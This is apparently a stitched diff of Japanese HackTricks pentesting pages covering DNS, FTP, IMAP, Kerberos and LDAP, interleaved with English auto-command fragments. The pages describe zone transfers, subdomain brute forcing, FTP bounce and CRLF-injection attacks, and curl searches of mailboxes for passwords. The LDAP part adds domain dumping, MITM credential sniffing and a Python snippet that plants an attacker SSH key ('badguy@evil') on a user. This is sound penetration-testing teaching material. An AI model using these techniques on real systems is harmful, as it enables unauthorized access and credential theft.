https://book.hacktricks.xyz/pentesting/nfs-service-pentesting
https://book.hacktricks.wiki/en/network-services-pentesting/nfs-service-pentesting.html
Entry_2:
Name: Nmap

View File

@ -5,7 +5,7 @@
## **基本情報**
**ドメインネームシステム (DNS)** はインターネットのディレクトリとして機能し、ユーザーがgoogle.comやfacebook.comのような**覚えやすいドメイン名**を通じてウェブサイトにアクセスできるようにします。ドメイン名をIPアドレスに変換することで、DNSはウェブブラウザがインターネットリソースを迅速に読み込むことを保証し、私たちがオンラインの世界をナビゲートする方法を簡素化します。
**ドメインネームシステム (DNS)** はインターネットのディレクトリとして機能し、ユーザーがgoogle.comやfacebook.comのような**覚えやすいドメイン名**を通じてウェブサイトにアクセスできるようにします。これにより、数値のインターネットプロトコル (IP) アドレスの代わりに、ドメイン名をIPアドレスに変換することで、DNSはウェブブラウザがインターネットリソースを迅速に読み込むことを保証し、オンライン世界のナビゲートを簡素化します。
**デフォルトポート:** 53
```
@ -19,7 +19,7 @@ PORT STATE SERVICE REASON
- **DNSルートサーバー**: これらはDNS階層の最上部にあり、トップレベルドメインを管理し、下位サーバーが応答しない場合にのみ介入します。インターネット名称と番号割り当て機関**ICANN**がその運営を監督しており、世界中で13のサーバーがあります。
- **権威あるネームサーバー**: これらのサーバーは、指定されたゾーン内のクエリに対して最終的な決定権を持ち、明確な回答を提供します。応答できない場合、クエリはルートサーバーにエスカレーションされます。
- **非権威あるネームサーバー**: DNSゾーンに対する所有権がないこれらのサーバーは、他のサーバーへのクエリを通じてドメイン情報を収集します。
- **キャッシングDNSサーバー**: このタイプのサーバーは、以前のクエリの回答を一定時間記憶し、将来のリクエストの応答時間を短縮します。キャッシュの期間は権威あるサーバーによって決定されます。
- **キャッシングDNSサーバー**: このタイプのサーバーは、将来のリクエストの応答時間を短縮するために、以前のクエリの回答を一定時間記憶します。キャッシュの期間は権威あるサーバーによって決定されます。
- **フォワーディングサーバー**: 単純な役割を果たすフォワーディングサーバーは、クエリを別のサーバーに中継するだけです。
- **リゾルバー**: コンピュータやルーターに統合されているリゾルバーは、ローカルで名前解決を実行し、権威あるものとは見なされません。
@ -27,7 +27,7 @@ PORT STATE SERVICE REASON
### **バナーグラビング**
DNSにはバナーはありませんが、`version.bind. CHAOS TXT`のマジッククエリを取得することができほとんどのBINDネームサーバーで機能します。\
DNSにはバナーはありませんが、`version.bind. CHAOS TXT`のマジッククエリを取得することができます。これはほとんどのBINDネームサーバーで機能します。\
このクエリは`dig`を使用して実行できます:
```bash
dig version.bind CHAOS TXT @DNS
@ -40,13 +40,13 @@ dig version.bind CHAOS TXT @DNS
```
### **Any record**
レコード **ANY** は、DNSサーバーに **返す** ように要求し、**開示する意志がある** すべての **エントリ** を取得します。
レコード **ANY** は、DNSサーバーに **返す** ように要求します。すべての利用可能な **エントリ****開示する意志がある** ものです。
```bash
dig any victim.com @<DNS_IP>
```
### **ゾーン転送**
この手順は `Asynchronous Full Transfer Zone` (`AXFR`) の略です。
この手順は `Asynchronous Full Transfer Zone` (`AXFR`) と略されます。
```bash
dig axfr @<DNS_IP> #Try zone transfer without domain
dig axfr @<DNS_IP> <DOMAIN> #Try zone transfer guessing the domain
@ -95,7 +95,7 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
```
> [!NOTE]
> 内部IPアドレスに解決するサブドメインを見つけた場合、そのIP範囲を要求するドメインのNSに対してリバースDNSブルートフォースを実行することを試みるべきです。
> 内部IPアドレスに解決するサブドメインを見つけることができた場合、そのIP範囲を要求するドメインのNSに対してリバースDNSブルートフォースを実行してみるべきです。
別のツール: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
@ -107,7 +107,7 @@ dnsenum --dnsserver <IP_DNS> --enum -p 0 -s 0 -o subdomains.txt -f subdomains-10
dnsrecon -D subdomains-1000.txt -d <DOMAIN> -n <IP_DNS>
dnscan -d <domain> -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan
```
### Active Directoryサーバー
### アクティブディレクトリサーバー
```bash
dig -t _gc._tcp.lab.domain.com
dig -t _ldap._tcp.lab.domain.com
@ -126,7 +126,7 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
```
### IPv6
"AAAA" リクエストを使用してサブドメインのIPv6を収集するブルートフォース。
"AAAA" リクエストを使用してサブドメインのIPv6を収集するためのブルートフォース。
```bash
dnsdict6 -s -t <domain>
```
@ -137,7 +137,7 @@ dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns
### DNS再帰DDoS
もし**DNS再帰が有効**になっている場合、攻撃者はUDPパケットの**起源**を**偽装**して**DNSが被害者サーバーに応答を送信する**ようにすることができます。攻撃者は**ANY**または**DNSSEC**レコードタイプを悪用することができ、これらはより大きな応答を持つためです。\
DNSが**再帰**をサポートしているかどうかを**確認**する方法は、ドメイン名にクエリを送り、**フラグ "ra"**_再帰利用可能_が応答に含まれているかを**確認**することです:
DNSが**再帰**をサポートしているかどうかを**確認**する方法は、ドメイン名をクエリし、**フラグ "ra"**_再帰利用可能_が応答に含まれているかを**確認**することです:
```bash
dig google.com A @<IP>
```
@ -154,9 +154,9 @@ dig google.com A @<IP>
**被害者のドメインを使用して存在しないアドレスにメールを送信する**ことで、被害者が配信不能通知 (NDN) メッセージを送信する可能性があり、その**ヘッダー**には**内部サーバーの名前やIPアドレス**などの興味深い情報が含まれている可能性があります。
## ポストエクスプロイテーション
## ポストエクスプロイ
- Bindサーバーの設定を確認する際は、**`allow-transfer`**パラメータの設定を確認してください。これはゾーン転送を実行できる人を示し、**`allow-recursion`**および**`allow-query`**は再帰リクエストやリクエストを送信できる人を示します。
- Bindサーバーの設定を確認する際は、**`allow-transfer`** パラメータの設定を確認してください。これはゾーン転送を実行できる人を示し、**`allow-recursion`** および **`allow-query`** は再帰リクエストやリクエストを送信できる人を示します。
- 次のDNS関連ファイルの名前は、マシン内で検索する際に興味深いかもしれません:
```
host.conf
@ -170,7 +170,7 @@ host.conf
## 参考文献
- [https://www.myrasecurity.com/en/knowledge-hub/dns/](https://www.myrasecurity.com/en/knowledge-hub/dns/)
- 書籍: **Network Security Assessment 第3版**
- 書籍: **Network Security Assessment 3rd edition**
## HackTricks 自動コマンド
```
@ -196,7 +196,7 @@ SERVER {IP}
Domain_Name
exit
https://book.hacktricks.xyz/pentesting/pentesting-dns
https://book.hacktricks.wiki/en/todo/pentesting-dns.html
Entry_2:
Name: Banner Grab

View File

@ -18,7 +18,7 @@ PORT STATE SERVICE
しかし、FTPクライアントが外部からの受信データ接続を制御するファイアウォールを設定している場合、アクティブFTPは問題になる可能性があります。そのための実行可能な解決策がパッシブFTPです。
**パッシブFTP**では、クライアントが制御接続をポートNからFTPサーバーのポート21に**開始**します。その後、クライアントは**passvコマンド**を発行します。サーバーはその後、クライアントに自分のポート番号Mの1つを送信します。そして、**クライアント**は**自分のポートPからFTPサーバーのポートM**にデータ**接続**を**開始**します。
**パッシブFTP**では、クライアントが自分のポートNからFTPサーバーのポート21に制御接続を**開始**します。その後、クライアントは**passvコマンド**を発行します。サーバーはその後、クライアントに自分のポート番号Mの1つを送信します。そして、**クライアント**は**自分のポートPからFTPサーバーのポートM**にデータ**接続**を**開始**します。
出典: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
@ -115,7 +115,7 @@ You can connect to a FTP server using a browser (like Firefox) using a URL like:
```bash
ftp://anonymous:anonymous@10.10.10.98
```
ユーザーが制御するデータを**FTPサーバー**に**直接送信**している**ウェブアプリケーション**がある場合、ダブルURLエンコードされた`%0d%0a`ダブルURLエンコードでは`%250d%250a`)バイトを送信することで、**FTPサーバーに任意のアクションを実行させる**ことができます。この任意のアクションの1つは、ユーザーが制御するサーバーからコンテンツをダウンロードしたり、ポートスキャンを実行したり、他のプレーンテキストベースのサービス例えばhttpと通信を試みたりすることです。
注意すべきは、**ウェブアプリケーション**がユーザーによって制御されるデータを**直接FTPサーバー**に送信している場合、ダブルURLエンコードされた`%0d%0a`ダブルURLエンコードでは`%250d%250a`)バイトを送信することで、**FTPサーバーが任意のアクションを実行**する可能性があることです。この任意のアクションの一つは、ユーザーが制御するサーバーからコンテンツをダウンロードしたり、ポートスキャンを実行したり、他のプレーンテキストベースのサービス例えばhttpと通信を試みたりすることです。
## FTPからすべてのファイルをダウンロードする
```bash
@ -148,28 +148,28 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
## FTPバウンス攻撃
一部のFTPサーバーはPORTコマンドを許可します。このコマンドは、サーバーに他のFTPサーバーの特定のポートに接続したいことを示すために使用できます。これを使用して、FTPサーバーを介してホストのどのポートが開いているかをスキャンできます。
一部のFTPサーバーはPORTコマンドを許可しています。このコマンドは、サーバーに他のFTPサーバーの特定のポートに接続したいことを示すために使用できます。これを使用して、FTPサーバーを介してホストのどのポートが開いているかをスキャンできます。
[**ここでFTPサーバーを悪用してポートをスキャンする方法を学びましょう。**](ftp-bounce-attack.md)
この動作を悪用して、FTPサーバーを他のプロトコルと対話させることもできます。**HTTPリクエストを含むファイルをアップロード**し、脆弱なFTPサーバーに**任意のHTTPサーバーに送信させる**ことができます_新しい管理ユーザーを追加するため_または、FTPリクエストをアップロードして、脆弱なFTPサーバーに別のFTPサーバーからファイルをダウンロードさせることもできます。\
理論は簡単です:
1. **リクエスト(テキストファイル内)を脆弱なサーバーにアップロードします。** 他のHTTPまたはFTPサーバーと通信する場合は、`0x0d 0x0a`で行を変更する必要があることを忘れないでください
2. **`REST X`を使用して送信したくない文字を送信しないようにします**(おそらくリクエストをファイル内にアップロードするために、最初にいくつかの画像ヘッダーを入れる必要がありました)
1. **リクエスト(テキストファイル内)を脆弱なサーバーにアップロードします。** 他のHTTPまたはFTPサーバーと通信する場合は、`0x0d 0x0a`で行を変更する必要があることを忘れないでください
2. **`REST X`を使用して送信したくない文字を送信しないようにします**(おそらく、ファイル内にリクエストをアップロードするために、最初にいくつかの画像ヘッダーを追加する必要がありました)。
3. **`PORT`を使用して任意のサーバーとサービスに接続します**
4. **`RETR`を使用して保存されたリクエストをサーバーに送信します。**
これは**_**ソケットが書き込み可能ではない**_**というエラーを引き起こす可能性が非常に高いです。**これは接続が`RETR`でデータを送信するのに十分な時間がないためです**。これを回避するための提案は次のとおりです:
これは**_**ソケットが書き込み可能ではない**_**というエラーを引き起こす可能性が非常に高いです。**接続が`RETR`でデータを送信するのに十分な時間がないためです**。これを回避するための提案は次のとおりです:
- HTTPリクエストを送信している場合、**同じリクエストを次々と送信します**、少なくとも**\~0.5MB**まで。次のように:
- HTTPリクエストを送信している場合、**同じリクエストを次々と送信します**、少なくとも**\~0.5MB**まで。次のように:
{{#file}}
posts.txt
{{#endfile}}
- **プロトコルに関連する「ジャンク」データでリクエストを埋める**FTPに話しかける場合は、ジャンクコマンドや`RETR`命令を繰り返してファイルを取得する)
- **リクエストを多くのヌル文字やその他のもので埋める**(行分けるかどうかは問わず)
- **プロトコルに関連する「ジャンク」データでリクエストを埋める**FTPに話しかける場合は、ジャンクコマンドや`RETR`命令を繰り返してファイルを取得すること
- **リクエストを多くのヌル文字やその他のもので埋める**(行分けるかどうかは問わず)
いずれにせよ、ここに[異なるFTPサーバーからファイルをダウンロードするためにこれを悪用する古い例があります。](ftp-bounce-download-2oftp-file.md)
@ -222,7 +222,7 @@ wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled
https://book.hacktricks.xyz/pentesting/pentesting-ftp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html
Entry_2:
Name: Banner Grab

View File

@ -4,7 +4,7 @@
## インターネットメッセージアクセスプロトコル
**インターネットメッセージアクセスプロトコル (IMAP)** は、ユーザーが**任意の場所からメールメッセージにアクセスできるようにする**ことを目的として設計されています。基本的に、メールは**サーバーに保持され**、個人のデバイスにダウンロードて保存されることはありません。つまり、メールにアクセスまたは読み取るときは、**サーバーから直接行われます**。この機能により、**複数のデバイス**からメールを確認する便利さが提供され、使用するデバイスに関係なくメッセージを見逃すことがありません。
**インターネットメッセージアクセスプロトコル (IMAP)** は、ユーザーが**任意の場所からメールメッセージにアクセスできるようにする**ことを目的として設計されています。基本的に、メールは**サーバーに保持され**、個人のデバイスにダウンロードされて保存されることはありません。つまり、メールにアクセスまたは読み取るは、**サーバーから直接行われます**。この機能により、**複数のデバイス**からメールを確認する便利さが提供され、使用するデバイスに関係なくメッセージを見逃すことがありません。
デフォルトでは、IMAPプロトコルは2つのポートで動作します
@ -30,13 +30,13 @@ root@kali: telnet example.com 143
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
+ TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
```
Or **自動化**するには、**nmap** プラグイン `imap-ntlm-info.nse` を使用します。
Or **automate** this with **nmap** plugin `imap-ntlm-info.nse`
### [IMAP ブルートフォース](../generic-hacking/brute-force.md#imap)
### [IMAP Bruteforce](../generic-hacking/brute-force.md#imap)
## 構文
## Syntax
IMAP コマンドの例は [こちら](https://donsutherland.org/crib/imap) から。
IMAPコマンドの例は[こちら](https://donsutherland.org/crib/imap)から。
```
Login
A1 LOGIN username password
@ -101,7 +101,7 @@ curl -k 'imaps://1.2.3.4/' --user user:pass
```bash
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
```
この検索の結果はメッセージインデックスのリストです。
この検索の結果はメッセージインデックスのリストです。
より複雑な検索条件を提供することも可能です。例えば、メール本文にパスワードを含む下書きを検索することです:
```bash
@ -109,7 +109,7 @@ curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
```
可能な検索用語の良い概要は[こちら](https://www.atmail.com/blog/imap-commands/)にあります。
3. メッセージのダウンロードimapコマンド `SELECT Drafts` とその後 `FETCH 1 BODY[]`
3. メッセージのダウンロードimapコマンド `SELECT Drafts` とその後 `FETCH 1 BODY[]`
```bash
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
```
@ -120,7 +120,7 @@ curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
```
メッセージの一部、例えば最初の5件のメッセージの件名と送信者をダウンロードすることも可能です件名と送信者を見るには`-v`が必要です):
メッセージの一部、例えば最初の5件のメッセージの件名と送信者をダウンロードすることも可能です`-v`を使用する必要があります)。
```bash
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
```
@ -148,7 +148,7 @@ Description: Notes for WHOIS
Note: |
The Internet Message Access Protocol (IMAP) is designed for the purpose of enabling users to access their email messages from any location, primarily through an Internet connection. In essence, emails are retained on a server rather than being downloaded and stored on an individual's personal device. This means that when an email is accessed or read, it is done directly from the server. This capability allows for the convenience of checking emails from multiple devices, ensuring that no messages are missed regardless of the device used.
https://book.hacktricks.xyz/pentesting/pentesting-imap
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-imap.html
Entry_2:
Name: Banner Grab

View File

@ -8,7 +8,7 @@
**Active Directory** のような環境では、**Kerberos** はユーザーの秘密のパスワードを検証することによってユーザーのアイデンティティを確立するのに重要な役割を果たします。このプロセスは、各ユーザーのアイデンティティがネットワークリソースと相互作用する前に確認されることを保証します。しかし、**Kerberos** は特定のリソースやサービスに対するユーザーの権限を評価または強制する機能を拡張しません。代わりに、ユーザーを認証するための安全な方法を提供し、これはセキュリティプロセスの重要な第一歩です。
**Kerberos** による認証の後、リソースへのアクセスに関する意思決定プロセスは、ネットワーク内の個々のサービスに委任されます。これらのサービスは、**Kerberos** が提供するユーザーの特権に関する情報に基づいて、認証されたユーザーの権利と権限を評価する責任を負います。この設計により、ユーザーのアイデンティティを認証することとアクセス権を管理することの間に関心の分離が可能になり、分散ネットワークにおけるリソース管理に対してより柔軟で安全なアプローチを実現します。
**Kerberos** による認証の後、リソースへのアクセスに関する意思決定プロセスは、ネットワーク内の個々のサービスに委任されます。これらのサービスは、**Kerberos** が提供するユーザーの特権に関する情報に基づいて、認証されたユーザーの権利と権限を評価する責任を負います。この設計により、ユーザーのアイデンティティを認証することと、そのアクセス権を管理することの間に関心の分離が可能になり、分散ネットワークにおけるリソース管理に対してより柔軟で安全なアプローチを実現します。
**デフォルトポート:** 88/tcp/udp
```
@ -46,7 +46,7 @@ Note: |
Kerberos operates on a principle where it authenticates users without directly managing their access to resources. This is an important distinction because it underlines the protocol's role in security frameworks.
In environments like **Active Directory**, Kerberos is instrumental in establishing the identity of users by validating their secret passwords. This process ensures that each user's identity is confirmed before they interact with network resources. However, Kerberos does not extend its functionality to evaluate or enforce the permissions a user has over specific resources or services. Instead, it provides a secure way of authenticating users, which is a critical first step in the security process.
https://book.hacktricks.xyz/pentesting/pentesting-kerberos-88
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-kerberos-88/index.html
Entry_2:
Name: Pre-Creds

View File

@ -2,11 +2,11 @@
{{#include ../banners/hacktricks-training.md}}
**LDAP**(軽量ディレクトリアクセスプロトコル)の使用は、主に組織、個人、ファイルやデバイスなどのリソースを含むさまざまなエンティティをネットワーク内(公的および私的)で特定するためのものです。これは、前のバージョンであるDAPに比べて、より小さなコードフットプリントを持つことで、効率的なアプローチを提供します。
**LDAP**(軽量ディレクトリアクセスプロトコル)の使用は、主に組織、個人、ファイルやデバイスなどのリソースを公共およびプライベートネットワーク内で特定するためのものです。これは、前のプロトコルであるDAPに比べて、より小さなコードフットプリントを持つことで、効率的なアプローチを提供します。
LDAPディレクトリは、複数のサーバーに分散できるように構造化されており、各サーバーはディレクトリの**複製された**および**同期された**バージョンを保持しています。これをディレクトリシステムエージェントDSAと呼びます。リクエストの処理は完全にLDAPサーバーの責任であり、必要に応じて他のDSAと通信して、リクエスターに統一された応答を提供します。
LDAPディレクトリの組織は、**ルートディレクトリが最上部にあるツリー階層**に似ています。これ国に分岐し、さらに組織に分かれ、次にさまざまな部門や部局を表す組織単位に至り、最終的には人々やファイル、プリンターなどの共有リソースを含む個々のエンティティのレベルに達します。
LDAPディレクトリの組織は、**ルートディレクトリが最上部にあるツリー階層**に似ています。これ国に分岐し、さらに組織に分かれ、次にさまざまな部門や部局を表す組織単位に至り、最終的には人々やファイル、プリンターなどの共有リソースを含む個々のエンティティのレベルに達します。
**デフォルトポート:** 389および636ldaps。グローバルカタログActiveDirectoryのLDAPは、ポート3268および3269でLDAPS用にデフォルトで利用可能です。
```
@ -16,7 +16,7 @@ PORT STATE SERVICE REASON
```
### LDAPデータインターチェンジフォーマット
LDIF (LDAPデータインターチェンジフォーマット) は、ディレクトリの内容を一連のレコードとして定義します。また、更新リクエスト(追加、変更、削除、名前変更)を表すこともできます。
LDIF (LDAP Data Interchange Format) は、ディレクトリの内容を一連のレコードとして定義します。また、更新リクエスト(追加、変更、削除、名前変更)を表すこともできます。
```bash
dn: dc=local
dc: local
@ -47,12 +47,12 @@ phone: 23627387495
```
- 行1-3はトップレベルドメインlocalを定義します
- 行5-8はファーストレベルドメインmoneycorp (moneycorp.local)を定義します
- 行10-16は2つの組織単位を定義します: devとsales
- 行10-16は2つの組織単位devとsalesを定義します
- 行18-26はドメインのオブジェクトを作成し、属性に値を割り当てます
## データの書き込み
値を変更できる場合、非常に興味深いアクションを実行できる可能性があります。例えば、あなたが**ユーザーまたは任意のユーザーの"sshPublicKey"情報を変更できる**と想像してみてください。この属性が存在する場合、**sshはLDAPから公開鍵を読み込んでいる可能性が非常に高いです**。ユーザーの公開鍵を変更できれば、**sshでパスワード認証が有効でなくても、そのユーザーとしてログインできるようになります**。
値を変更できる場合、非常に興味深いアクションを実行できる可能性があります。例えば、あなたが**ユーザーまたは任意のユーザーの"sshPublicKey"情報を変更できると想像してください**。この属性が存在する場合、**sshはLDAPから公開鍵を読み込んでいる可能性が非常に高いです**。ユーザーの公開鍵を変更できれば、**パスワード認証がsshで有効になっていなくても、そのユーザーとしてログインできるようになります**。
```bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
@ -64,25 +64,25 @@ True
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
```
## クレデンシャルの平文スニッフィング
## Sniff clear text credentials
LDAPがSSLなしで使用されている場合、ネットワーク内で**平文のクレデンシャルをスニッフィング**することができます。
LDAPがSSLなしで使用されている場合、ネットワーク内で**平文の資格情報をスニッフィング**することができます。
また、**LDAPサーバーとクライアントの間**で**MITM**攻撃を実行することもできます。ここで、クライアントが**平文のクレデンシャル**を使用してログインするように**ダウングレード攻撃**を行うことができます。
また、**LDAPサーバーとクライアントの間**で**MITM**攻撃を実行することができます。ここで、クライアントが**平文の資格情報**を使用してログインするように**ダウングレード攻撃**を行うことができます。
**SSLが使用されている場合**、上記のように**MITM**を試みることができますが、**偽の証明書**を提供することで、**ユーザーがそれを受け入れた場合**、認証方法をダウングレードして再びクレデンシャルを見ることができます。
**SSLが使用されている場合**、上記のように**MITM**を試みることができますが、**偽の証明書**を提供することで、**ユーザーがそれを受け入れた場合**、認証方法をダウングレードして再び資格情報を見ることができます。
## 匿名アクセス
## Anonymous Access
### TLS SNIチェックのバイパス
### Bypass TLS SNI check
[**この書き込み**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)によると、任意のドメイン名例えばcompany.comでLDAPサーバーにアクセスするだけで、彼は匿名ユーザーとしてLDAPサービスに接触し、情報を抽出することができました。
[**この書き込み**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)によると、任意のドメイン名例えばcompany.comでLDAPサーバーにアクセスするだけで、匿名ユーザーとしてLDAPサービスに接触し、情報を抽出することができました。
```bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
### LDAP 匿名バインド
[LDAP 匿名バインド](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) は、**認証されていない攻撃者**がドメインから情報を取得することを可能にします。これには、ユーザー、グループ、コンピュータ、ユーザーアカウント属性、ドメインパスワードポリシーの完全なリストが含まれます。これは**レガシー構成**であり、Windows Server 2003以降、認証されたユーザーのみがLDAPリクエストを開始することが許可されています。\
[LDAP 匿名バインド](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) は、**認証されていない攻撃者**がドメインから情報を取得することを可能にします。例えば、ユーザー、グループ、コンピュータ、ユーザーアカウント属性、ドメインパスワードポリシーの完全なリストなどです。これは**レガシー構成**であり、Windows Server 2003以降、認証されたユーザーのみがLDAPリクエストを開始することが許可されています。\
しかし、管理者は**特定のアプリケーションを設定して匿名バインドを許可する必要があった**かもしれず、その結果、意図した以上のアクセス権を与え、認証されていないユーザーにAD内のすべてのオブジェクトへのアクセスを許可してしまった可能性があります。
## 有効な資格情報
@ -108,11 +108,11 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
<details>
<summary>Pythonを使用したLDAP列挙の確認</summary>
<summary>See LDAP enumeration with python</summary>
**資格情報を使用するかしないかでLDAPを列挙することを試すことができます**: `pip3 install ldap3`
あなたは**認証情報を使用するかしないかにかかわらずLDAPを列挙することを試みることができます**: `pip3 install ldap3`
まず、**資格情報なしで接続を試みます**:
まず、**認証情報なしで接続する**ことを試みてください:
```bash
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
@ -121,7 +121,7 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
True
>>> server.info
```
応答が前の例のように`True`の場合、次の場所からLDAPの**興味深いデータ****命名コンテキスト**や**ドメイン名**など)を取得できます
もし応答が前の例のように`True`であれば、LDAPからいくつかの**興味深いデータ****命名コンテキスト**や**ドメイン名**など)を取得できます
```bash
>>> server.info
DSA info (from DSE):
@ -129,7 +129,7 @@ Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
```
一度名前空間を取得すると、さらに興味深いクエリを実行できます。この単純なクエリは、ディレクトリ内のすべてのオブジェクトを表示するはずです:
一度命名コンテキストを取得すると、さらに興味深いクエリを実行できます。この単純なクエリは、ディレクトリ内のすべてのオブジェクトを表示するはずです:
```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
@ -160,7 +160,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p
```
### ldapsearch
ヌルクレデンシャルを確認するか、あなたのクレデンシャルが有効かどうかを確認します:
無効な資格情報を確認するか、資格情報が有効かどうかを確認します:
```bash
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
@ -173,9 +173,9 @@ result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
```
"_bind must be completed_" というメッセージが表示され場合、認証情報が正しくないことを意味します。
"_bind must be completed_" というメッセージが表示され場合、認証情報が正しくないことを意味します。
次のコマンドを使用して、**ドメインからすべてを抽出**できます:
**ドメインからすべてを抽出するには**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
@ -184,24 +184,24 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_
-w My password
-b Base site, all data from here will be given
```
ユーザーを抽出する:
**ユーザー**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
```
コンピュータを抽出する:
**コンピュータ**
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
**私の情報**を抽出する:
**私の情報**
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
**ドメイン管理者**を抽出する:
**ドメイン管理者**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
**ドメインユーザー**を抽出する:
**ドメインユーザー**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
@ -213,7 +213,7 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Ent
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
リモートデスクトップグループを抽出します:
**リモートデスクトップグループ**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
@ -226,7 +226,7 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Rem
#### pbis
**pbis**はここからダウンロードできます: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) そして通常は`/opt/pbis`にインストールされます。\
